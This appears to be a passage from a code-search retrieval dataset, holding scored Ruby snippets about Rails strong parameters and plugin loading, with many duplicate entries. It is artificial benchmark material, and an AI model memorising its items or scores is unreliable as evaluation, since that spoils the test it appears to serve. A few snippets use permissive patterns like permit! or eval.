.permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6355191", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.6355191", "text": "def check_params; true; end", "title": "" }, { "docid": "cac0774e508766d2f487cbca3db95df0", "score": "0.6336598", "text": "def allow_params?\n definition[:param_tokens]\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.6319846", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "55aa899fab0dfa44916f71c499998ca8", "score": "0.63113743", "text": "def parameter_params\n params.require(:parameter).permit(:key, :value)\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6292978", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6292978", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6291", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6291", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "64ea65f903dbe0c9c0cc0e9a20ed2e7f", "score": "0.6290657", "text": "def good_option_params\n permit_params\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.62724084", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.6266407", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "572f75fa86537d103ddf7b5503f06515", "score": "0.6265082", "text": "def parameter_params\n params.require(:parameter).permit(:title)\n end", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.6262119", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "b4ac8bc6941a87425ac2dc42a226295f", "score": "0.6258491", "text": "def filtered_params_config; end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.6243215", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "63944d10aa4cde014b8332874db87cb9", "score": "0.62372005", "text": "def excluded_from_filter_parameters=(_arg0); end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.6228103", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "6fc2bac4c842e4285d685333ba68e5e9", "score": "0.6226018", "text": "def admin_parameter_params\n params.require(:admin_parameter).permit(:name, :inss_hour_price, :private_hour_price, :is_eval)\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.6225602", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.6225602", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.62250364", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "6008e8707eafce375988b3c7ccf098c3", "score": "0.62147176", "text": "def original_params; end", "title": "" }, { "docid": "4ba8f5cdb0399571d60b7242794ce47f", "score": "0.62035644", "text": "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "356c5fd5dcbe9214f1330792fa2e18b5", "score": "0.61931455", "text": "def param_whitelist\n whitelist = [\n :name,\n :details,\n :completed,\n :started_at, :finished_at,\n :team_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:team_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b977c2daceb28f26ee659336b2b98aa9", "score": "0.618889", "text": "def params\n raise \"Override protected method `params'.\"\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6180647", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "706df0e25391ed2b932f54a646bb0a10", "score": "0.6180104", "text": "def list_name_param opts={}\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6175616", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "d3732ff42abd0a618a006d1f24e31e38", "score": "0.61731255", "text": "def add_to_filter_parameters; end", "title": "" }, { "docid": "8e54eaded22dd280d836e96375fed9a4", "score": "0.61730814", "text": "def paramun_params\n params.require(:parametre).permit!\n end", "title": "" }, { "docid": "f8c05c05fb596260a51d3ab4fb42243d", "score": "0.6172509", "text": "def required_parameters\n [ ]\n end", "title": "" }, { "docid": "19080b9212dc7ba3727f80cc9430e426", "score": "0.6172386", "text": "def special_params\n params.require(:special).permit(:name, :description, :function)\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.6163843", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "3da9117a80cdfd040f0f0ed9d3ffed55", "score": "0.6146083", "text": "def allowable_params(unfiltered_params)\n unfiltered_params.permit(:property_id, :branch_id, :client_name, :branch_name,\n :department, :reference_number, :address_name, :address_number, :address_street,\n :address2, :address3, :address4, :address_postcode, :country, :display_address,\n :property_bedrooms, :property_bathrooms, :property_ensuites, :property_reception_rooms,\n :property_kitchens, :display_property_type, :property_type, :property_style,\n :property_age, :floor_area, :floor_area_units, :property_feature1, :property_feature2,\n :property_feature3, :property_feature4, :property_feature5, :property_feature6,\n :property_feature7, :property_feature8, :property_feature9, :property_feature10,\n :price, :for_sale_poa, :price_qualifier, :property_tenure, :sale_by,\n :development_opportunity, :investment_opportunity, :estimated_rental_income,\n :availability, :main_summary, :full_description, :date_last_modified,\n :featured_property, :region_id, :latitude, :longitude,\n flags_attributes: [:title],\n images_attributes: [:url, :modified],\n floorplans_attributes: [:url, :modified],\n epc_graphs_attributes: [:url, :modified],\n epc_front_pages_attributes: [:url, :modified],\n brochures_attributes: [:url, :modified],\n virtual_tours_attributes: [:url, :modified],\n external_links_attributes: [:url, :description, :modified])\n end", "title": "" }, { "docid": "b9e34b5ac2955add85639f9ca0a07b7f", "score": "0.6145458", "text": "def resource_params\n permits = resource_whitelist\n params.require(model_symbol).permit(permits)\n end", "title": "" }, { "docid": "d646c7ba579499db9edadb606c8b9910", "score": "0.61444825", "text": "def permitted_params\n logger.warn \"#{self}: please override `permitted_params` method.\"\n params.require(resource_request_name).permit!\n end", "title": "" }, { "docid": "4425e2f97b4355b14334b9744f19c412", "score": "0.6143515", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "4425e2f97b4355b14334b9744f19c412", "score": "0.6143515", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.61364955", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "c4a951d3ba89c6d098a96d3d5a2b8643", "score": "0.61280644", "text": "def collection_permitted_params\n params.permit(:format, :page, :per_page, :sort, :include, :locale, fields: {}, filter: {})\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6113519", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "34fb76d8decc10cd29ada824ff70ae63", "score": "0.6112032", "text": "def permitted_resource_params\n p params[object_name].present? ? params.require(object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.6106793", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "11f5f8959aba1f4022c60509f20e40af", "score": "0.61061025", "text": "def permit_params\n params[:permit]\n end", "title": "" }, { "docid": "45791845cef485d15b7014088dd0be8d", "score": "0.6105072", "text": "def allowed_params\n %i[title body]\n end", "title": "" }, { "docid": "4632c7949842c8534d66b50254032add", "score": "0.6092409", "text": "def parameterization_params\n params.permit(:name, :user_id, :number_value, :money_value)\n end", "title": "" }, { "docid": "bfa951108b69c8eed106b7ad8acbcbfd", "score": "0.60909486", "text": "def data_param\n params.permit(:value)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.60895824", "text": "def filter_params\n end", "title": "" }, { "docid": "63f5e4e9733f9e6b3f98d5e069440292", "score": "0.6083517", "text": "def black_list_params\r\n params.require(:black_list).permit(:user)\r\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.6081807", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6079226", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "44a1ec524e77d2a2c4b85e8341df27db", "score": "0.6077248", "text": "def product_params\n params.permit(:visible)\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.60767365", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "c31ef48e8fd467d94158d7ac7f405a3f", "score": "0.60746986", "text": "def list_params\n params.permit(:id, :public_id, :name, :list, :visibility, values: [])\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.60703695", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6070048", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.6069783", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "c1f13277dbc8ff3a9f65df027f9d915a", "score": "0.6063365", "text": "def permitted_params(unpermitted_params)\n unpermitted_params.permit(\n :controller,\n :action,\n :site_id,\n :format,\n :type,\n :path_contains,\n :new_url_contains,\n :tagged,\n )\n end", "title": "" }, { "docid": "cf963fb451b51d62fcc986deb020a044", "score": "0.6047726", "text": "def permit_params\n\t\t\t\teval(@configuration.get_params)\n\t\t\tend", "title": "" }, { "docid": "77b78ffc267fcf03379cf09c63ad361c", "score": "0.60399187", "text": "def gallery_params\n params.require(:gallery).permit(:name, :white_list)\n end", "title": "" }, { "docid": "be92e82ba93b35cac91b7c02d6a445f7", "score": "0.6033119", "text": "def get_params\r\n #params.require(:view_adm).permit(:name, :action_scope,:caps,:cols)\r\n params.require(:view_adm).permit!\r\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.6029004", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "5b72cb3f5ae45681ff116df46f5da01b", "score": "0.6025425", "text": "def provider_params\n params.permit(:name)\n end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60199857", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60199857", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.6019158", "text": "def params; end", "title": "" } ]
70cbc1301999264f7f76820ee167c915
Loads the plugin from the specified directory, tracking all successfully loaded plugins in +Rails.plugins+
[ { "docid": "afdddb377bc98ffe59ab17ac04404548", "score": "0.71675026", "text": "def load_plugin_with_loaded_plugins(directory) #:nodoc:\n plugin = Plugin.new(directory)\n return false if Rails.plugins.include?(plugin)\n \n unless find_plugin_path(plugin.name).nil?\n # Be careful to place the plugin in the correct order in case a plugin\n # has required another plugin\n if @loaded_plugin_index\n Rails.plugins.insert(@loaded_plugin_index, plugin)\n else\n Rails.plugins << plugin\n @loaded_plugin_index = Rails.plugins.size - 1\n end\n \n # Plugin is about to be loaded\n plugin.before_load\n end\n \n load_plugin_without_loaded_plugins(directory)\n \n # Plugin has been loaded\n plugin.after_load\n \n # We no longer need to track the current index in LOADED_PLUGINS if we're\n # the last one\n @loaded_plugin_index = nil if Rails.plugins.last == plugin\n \n true\n end", "title": "" } ]
[ { "docid": "4569335a2feac9328e8117de5ee14cee", "score": "0.7842905", "text": "def load_plugins\n clear_events\n\n # Base Plugins\n load_directory \"#{File.dirname(__FILE__)}/plugins\"\n\n # External plugins\n load_directory \"#{File.dirname(Servbot::Config.config)}/plugins\"\n end", "title": "" }, { "docid": "6bb02356b98869c8f446ed2aaf6fd75e", "score": "0.77967864", "text": "def load_directory(directory)\n if Dir.exists?(directory)\n Dir.glob(\"#{directory}/*.rb\").sort.each { |file|\n load_plugin file\n }\n else\n # Log that the plugin directory couldn't be loaded.\n end\n end", "title": "" }, { "docid": "0f4ccb96fe0828065bfbacf9619ab52a", "score": "0.76442605", "text": "def load_plugins! plugin, name, directory\n return unless plugin\n\n plugin = [ plugin ] unless Array === plugin\n \n default_name_save = Cabar::Plugin.default_name = name\n \n # Observe when plugins are installed.\n plugin_manager.add_observer(self, :plugin_installed, :plugin_installed!)\n \n plugin.each do | file |\n next unless file\n \n file = Cabar.path_expand(file, directory)\n \n plugin_manager.load_plugin! file\n end\n ensure\n Cabar::Plugin.default_name = default_name_save\n\n plugin_manager.delete_observer(self, :plugin_installed)\n end", "title": "" }, { "docid": "bb6f6e0840fc652a84bd5ddd4a354287", "score": "0.75836426", "text": "def load_plugins\n @loader.load_all\n end", "title": "" }, { "docid": "f32e72f5460f822c27b31f19f2214d57", "score": "0.74931556", "text": "def load_plugins; end", "title": "" }, { "docid": "f32e72f5460f822c27b31f19f2214d57", "score": "0.74931556", "text": "def load_plugins; end", "title": "" }, { "docid": "f5d4397eb38c563d13b568d54de7b519", "score": "0.7480721", "text": "def load_plugins\n # Loop through all plugins by name\n Plugin.all(:order => [:name]).each do |plugin|\n # Load the plugin\n plugin.load unless plugin.loaded?\n end\n end", "title": "" }, { "docid": "a84b22e1a5521069b9c0b4a94b172978", "score": "0.74714583", "text": "def load\n\t\t\tDir[\"plugins/*.rb\"].each do |f|\n\t\t\t\trequire f\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "473b7fc0a74e65ed5af284890719000d", "score": "0.7396483", "text": "def load\n # Setup the Gem path to the plugin\n Gem.use_paths(Gem.dir, ((Gem.path - [Gem.dir]) + [self.path]))\n # Load the plugin init script\n require File.join(self.path, \"init.rb\")\n # Add the plugin to the array of loaded plugins\n @@loaded << self.name\n end", "title": "" }, { "docid": "0de3c3cd2d52cbda69eaa630ef5de6e6", "score": "0.7387155", "text": "def load\n # Plugin dependencies let you load a plugin before this one,\n # so we don't want to load that sucker twice, now do we?\n unless loaded?\n # Setup the Gem path to the plugin\n Gem.use_paths(Gem.dir, ((Gem.path - [Gem.dir]) + [self.path]))\n # Load the plugin init script\n require File.join(self.path, \"init.rb\")\n # Add the plugin to the array of loaded plugins\n @@loaded << self.name\n end\n end", "title": "" }, { "docid": "8ee99230fba9fe0f4f5a3b363665765f", "score": "0.73241156", "text": "def plugin_load; end", "title": "" }, { "docid": "18860d0d7daac850190126dfd50771b9", "score": "0.7234826", "text": "def register_plugins\n plugin_directory = Pathname.new(@options[:plugins_path])\n plugin_directory.entries.each { |p| next unless p.to_s =~ /\\w-plugin\\.rb$/; load plugin_directory+p }\n end", "title": "" }, { "docid": "6491929d5a49e3dd746fde18a9913c91", "score": "0.7213599", "text": "def load_plugins\n self.plugins.all do |plugin|\n # Create new thread for each plugin found in config.\n self.threads << Thread.new do\n logger.info(\"Loading plugin: #{plugin}\")\n begin\n file_name = File.join(File.dirname(__FILE__), \"plugins\", \"#{plugin}.rb\")\n logger.debug(\"Requiring plugin file located at: #{file_name}\")\n \n # Require plugin base.\n require file_name\n \n # Acquire class name\n klass = \"Octopus::#{plugin.classify}\".constantize\n # Instantiate new class\n plugin = klass.new(self)\n # Run the plugin\n plugin.run!\n rescue LoadError\n raise Octopus::NoPluginError, \"Plugin not found\"\n rescue StandardError => e\n logger.info(\"Error while loading plugin: #{plugin}\")\n logger.debug(e) \n end\n end\n end\n end", "title": "" }, { "docid": "49946536b46242403eed146a2ed0c8b1", "score": "0.71895754", "text": "def load(controller)\n surround('pluginmanager', 'loading plugins') do\n @controller = controller\n # rubocop:disable AvoidGlobalVars\n $registering_plugin_manager = self\n load_files\n $registering_plugin_manager = nil\n # rubocop:enable AvoidGlobalVars\n end\n end", "title": "" }, { "docid": "799b50acbb7fbc666284304602053bfa", "score": "0.71756333", "text": "def load\n # Plugin dependencies let you load a plugin before this one,\n # so we don't want to load that sucker twice, now do we?\n unless loaded?\n # Setup the Gem path to the plugin\n Gem.use_paths(Gem.dir, ((Gem.path - [Gem.dir]) + [self.path]))\n # Load the plugin init script\n Kernel.load(File.join(self.path, \"init.rb\"))\n # Add the plugin to the array of loaded plugins\n @@loaded << self.name\n end\n end", "title": "" }, { "docid": "ca37d6d304d036656f210f13e20145e0", "score": "0.7169506", "text": "def load_plugin_with_plugin_dependencies(directory)\n success = load_plugin_without_plugin_dependencies(directory)\n# Dir[File.join(\"#{directory}\", 'tasks/**/*.rake')].sort.each {|ext| load ext} if defined?(Rake)\n \n success\n end", "title": "" }, { "docid": "0fe65da89f82de81128f48000e688667", "score": "0.71262085", "text": "def load_plugins!\n $LOAD_PATH.each do |dir|\n plugin_init = Pathname(dir) + 'germinate_plugin_v0_init.rb'\n if plugin_init.readable?\n load_plugin!(plugin_init.to_s)\n end\n end\n Gem.find_files('germinate_plugin_v0_init').each do |file|\n load_plugin!(file)\n end\n end", "title": "" }, { "docid": "1e00286bf866b7a44e34d6fe8845f37b", "score": "0.71228486", "text": "def load\r\n logger.debug \"Plugin '#{name}': starting load.\"\r\n \r\n inject_into_load_path\r\n mirror_public_assets\r\n \r\n logger.debug \"Plugin '#{name}': loaded.\"\r\n end", "title": "" }, { "docid": "a44804a22dc985bc3465c0a7edd09318", "score": "0.7086386", "text": "def load_plugins_from_prefix(dir)\n dir = File.expand_path(dir)\n $LOAD_PATH.unshift dir\n\n Dir.new(dir).each do |subdir|\n subdir = File.join(dir, subdir)\n next unless File.directory?(subdir)\n\n appfile = File.join(subdir, \"app.rb\")\n next unless File.file?(appfile)\n\n load_plugin_file(appfile)\n end\n ensure\n $LOAD_PATH.shift\n end", "title": "" }, { "docid": "64eeb0b855f3b74bf533a54ccf80d34d", "score": "0.7074998", "text": "def load_plugin\n %w[\n ../lib/engine.rb\n ../config/routes.rb\n ../lib/sso.rb\n ../lib/current_user_provider.rb\n ../lib/algolia_places_client.rb\n ../lib/extensions/session_controller.rb\n ../lib/extensions/users_controller.rb\n ../lib/extensions/invites_controller.rb\n ../lib/extensions/users/omniauth_callbacks_controller.rb\n ../lib/services/base_service.rb\n ../lib/services/user_profile_service.rb\n ../app/jobs/extend_user_profile.rb\n ].each do |path|\n load File.expand_path(path, __FILE__)\n end\nend", "title": "" }, { "docid": "2490074bb7282ff82dba18037412a6d6", "score": "0.7064458", "text": "def load_plugins\n\n # Change directory for plugins\n Redmine::Plugin.directory = PLUGINS_AVAILABLE_DIR\n\n # Load only plugins listed in plugins.yml for current environment\n plugins.each do |plugin_id|\n load_plugin plugin_id\n end\n end", "title": "" }, { "docid": "1715e56f5df316e8e1c042c44dcb0c79", "score": "0.70601964", "text": "def load_plugins\n plugins.each { |pl| require File.expand_path(\"lib-plugin.rb\", pl) }\n end", "title": "" }, { "docid": "1715e56f5df316e8e1c042c44dcb0c79", "score": "0.70601964", "text": "def load_plugins\n plugins.each { |pl| require File.expand_path(\"lib-plugin.rb\", pl) }\n end", "title": "" }, { "docid": "dc64dafd4ee4b35ec580bb16907d1d66", "score": "0.7059309", "text": "def ohai_plugin_file_loaded(path); end", "title": "" }, { "docid": "6ec46437ba7bc30d56853b769db3ca1d", "score": "0.7024601", "text": "def load_plugins\n if Gem.respond_to? :find_latest_files\n Gem.find_latest_files(\"#{underscore(name)}/plugin\").each {|path| require path }\n else\n Gem.find_files(\"#{underscore(name)}/plugin\").each {|path| require path }\n end\n end", "title": "" }, { "docid": "046b3cbc1568736cf702ab0e05ae4404", "score": "0.7014396", "text": "def load_plugin(name)\n path = ['lib', 'plugins'] + $config['plugins/path', []]\n path.each do |dir|\n begin\n Plugins.module_eval { load(\"#{dir}/#{name}.rb\") }\n $log.puts \"Loaded plugin '#{name.capitalize}' [#{dir}/#{name}.rb]\"\n return true\n rescue LoadError\n # Just try the next directory...\n end\n end\n false\n end", "title": "" }, { "docid": "1600c8bd65a497bae6bdd405216106c6", "score": "0.700828", "text": "def load_plugins\n Dir[\"#{defined_plugin_path}/*.rb\"].each do |plugin| \n begin\n Nark::Plugin.module_eval File.read(plugin)\n rescue Nark::Exceptions::DuplicateEvent\n end\n end\n end", "title": "" }, { "docid": "b058bf394b596c6d117c029b215353f5", "score": "0.7002262", "text": "def plugin_loaded\n end", "title": "" }, { "docid": "e6dcfbc635d67b6f0ebc0d68131b36e8", "score": "0.69962335", "text": "def load\n @plugin.loadConfig\n end", "title": "" }, { "docid": "c5018b36052c639fb7ecbe25a4c24d22", "score": "0.6985449", "text": "def load\n plugins.each { |plugin| plugin.load! unless plugin.enabled? }\n end", "title": "" }, { "docid": "98feed24d723a354fa2f6525cbe16685", "score": "0.6969047", "text": "def preload(dir)\n Pathname.glob(dir + '*/plugin.rb').each do |path|\n # load ruby modules\n require(path.realpath.dirname + path.basename)\n end\n end", "title": "" }, { "docid": "3c02fd9daa9cae6d3560af730afd0f2b", "score": "0.695916", "text": "def discover_and_load_plugins\n load_plugins(discover_plugins)\n end", "title": "" }, { "docid": "ea5ea8a73e7687b64e92ccb460c8c299", "score": "0.69331807", "text": "def add_plugin_dir(dir)\n\t\torig_verbose = $VERBOSE\n\t\t$VERBOSE = nil\n\t\tDir.entries(dir).each do |f|\n\t\t\t@log.info(\"Looking at potential plugin #{File.join(dir, f)}\")\n\t\t\tif f =~ /^([0-9]\\.?)+$/\n\t\t\t\tbegin\n\t\t\t\t\tself.add_plugin(f, &eval(\"lambda do\\n#{File.read(File.join(dir, f))}\\nend\\n\"))\n\t\t\t\trescue SyntaxError => e\n\t\t\t\t\t@log.warn \"Syntax error in #{File.join(dir, f)}: #{e.message}\"\n\t\t\t\tend\n\t\t\telsif f =~ /\\.rb$/\n\t\t\t\tbegin\n\t\t\t\t\tself.instance_eval(File.read(File.join(dir, f)))\n\t\t\t\trescue SyntaxError => e\n\t\t\t\t\t@log.warn \"Syntax error in #{File.join(dir, f)}: #{e.message}\"\n\t\t\t\trescue Exception => e\n\t\t\t\t\t@log.warn \"Some error occured while loading #{File.join(dir, f)}: #{e.message}\"\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\t\n\t\t$VERBOSE = orig_verbose\n\tend", "title": "" }, { "docid": "02f558ac1b74f586182ddae822f6f283", "score": "0.6923075", "text": "def load_all\n register_plugins\n end", "title": "" }, { "docid": "0ff64d3d51bb2b9f5bb3bb0c05a949f4", "score": "0.6888984", "text": "def load\n plugins.each do |plugin|\n plugin.load! unless plugin.enabled?\n end\n end", "title": "" }, { "docid": "0ff64d3d51bb2b9f5bb3bb0c05a949f4", "score": "0.6888984", "text": "def load\n plugins.each do |plugin|\n plugin.load! unless plugin.enabled?\n end\n end", "title": "" }, { "docid": "5ddeb30acc21ea6b19e9171786361ec5", "score": "0.6883971", "text": "def load_plugins(base_dir, sub_dir)\n if File.exists?(dir = File.join(base_dir, sub_dir))\n plugin_type = sub_dir.sub(/s$/, '')\n Dir[dir + '/*.rb'].each {|file| load_plugin(file, plugin_type) }\n end\n end", "title": "" }, { "docid": "f1e77a85eabbc9046c5e3a7b9a53db99", "score": "0.6864474", "text": "def load_autoload_plugins; end", "title": "" }, { "docid": "79d0c0994edf72e908174aa99337a52e", "score": "0.68429774", "text": "def load\n file_location = @settings.plugins['location'] ? @settings.plugins['location'] : '../../config/plugins/'\n yaml_files = File.expand_path(file_location + '*.yml', File.dirname(__FILE__))\n port_start = 48130\n Dir.glob(yaml_files).each do |file|\n dynamic_port = @network.port_find(port_start)\n @plugin_hash[File.basename(file, '.*')] = Plugin.new(file, dynamic_port, @settings)\n port_start = dynamic_port + 1\n end\n end", "title": "" }, { "docid": "d755bb670af6ae55dbc42d41b4f62a2e", "score": "0.68297493", "text": "def load_plugins\n print \"Enabled plugins:\\n\"\n @config['plugins'].each do |name,state|\n next if state == '0'\n print \"#{name}... \"\n\n # instantiate plugin class\n begin\n clazz = Object.const_get(\"Foxplorer#{name.capitalize}\")\n plugin = clazz.new(@hooks)\n print \"ok\\n\"\n rescue Exception => error\n print \"error: #{error}\\n\"\n abort\n end\n end\n end", "title": "" }, { "docid": "56578fe90cbc31b2acde1c3aeecdb55d", "score": "0.67946994", "text": "def on_startup\n $log.puts 'Autoloading plugins...'\n autoload = $config['plugins/autoload', []]\n autoload.each do |plugin|\n if $plugins[pn = plugin.downcase]\n $log.puts \"Plugin '#{pn.capitalize}' was already loaded; skipping.\"\n else\n begin\n if !load_plugin(pn)\n $log.puts \"Error loading plugin '#{pn.capitalize}': File not found in plugin path.\"\n elsif (klass = self.class.const_get(pn.capitalize))\n ins = klass.instance\n $plugins[ins.name] = ins\n else\n $log.puts \"Error loading plugin '#{pn.capitalize}': Couldn't locate plugin class.\"\n end\n rescue Exception => e\n $log.puts \"Error loading plugin '#{pn.capitalize}':\"\n $log.puts e.message\n $log.puts e.backtrace.join(\"\\n\")\n end\n end\n end\n end", "title": "" }, { "docid": "3c66655556dc1ebc7dead1953d9c43be", "score": "0.6786837", "text": "def load_hook_plugins\n directory = File.join(@config.plugin_directory, @context.hook_type_name)\n\n Dir[File.join(directory, '*.rb')].sort.each do |plugin|\n require plugin\n\n hook_name = Overcommit::Utils.camel_case(File.basename(plugin, '.rb'))\n @hooks << create_hook(hook_name)\n end\n end", "title": "" }, { "docid": "6681bd571b8db8035afce93511d23ac2", "score": "0.67728645", "text": "def load_gem_plugins; end", "title": "" }, { "docid": "b93fe4b0e80954b1cb1f3095985093a7", "score": "0.6754028", "text": "def reload_plugin_files\n plugins_path.each do |plugin_search_path|\n plugin_files = Utils.safe_glob(plugin_search_path, File.join(\"**\", \"*.rb\"))\n Array(plugin_files).each do |name|\n Bridgetown.logger.debug \"Reloading:\", name.to_s\n self.class.add_registered_plugin name\n load name\n end\n end\n end", "title": "" }, { "docid": "3f4ee40875e37d901c3dee3f45e06ae3", "score": "0.67357755", "text": "def plugin_directory\n subpath(\"plugins\")\n end", "title": "" }, { "docid": "3f4ee40875e37d901c3dee3f45e06ae3", "score": "0.67357755", "text": "def plugin_directory\n subpath(\"plugins\")\n end", "title": "" }, { "docid": "692a2bfd3c504e5feb1fe59b85cc303b", "score": "0.67338926", "text": "def load_all\n plugin_files_by_dir.each do |plugin_file|\n load_plugin_class(plugin_file)\n end\n\n collect_v7_plugins\n end", "title": "" }, { "docid": "687b433900eb4251649fa6c4ddeb18ab", "score": "0.67279917", "text": "def load_plugin(name); end", "title": "" }, { "docid": "b0aee1d43796e3ec2078841dfe9904b8", "score": "0.66659606", "text": "def load_plugins\n num = 0\n while num < @load_list.size\n plugin = @load_list[num]\n begin\n plugin.instance.load\n rescue\n puts \"Exception loading plugin #{plugin.name} at #{Time.now}\"\n puts $!\n puts $!.backtrace.join(\"\\n\")\n end\n if plugin.instance.state != LOADED\n fail_load_dependencies(plugin)\n 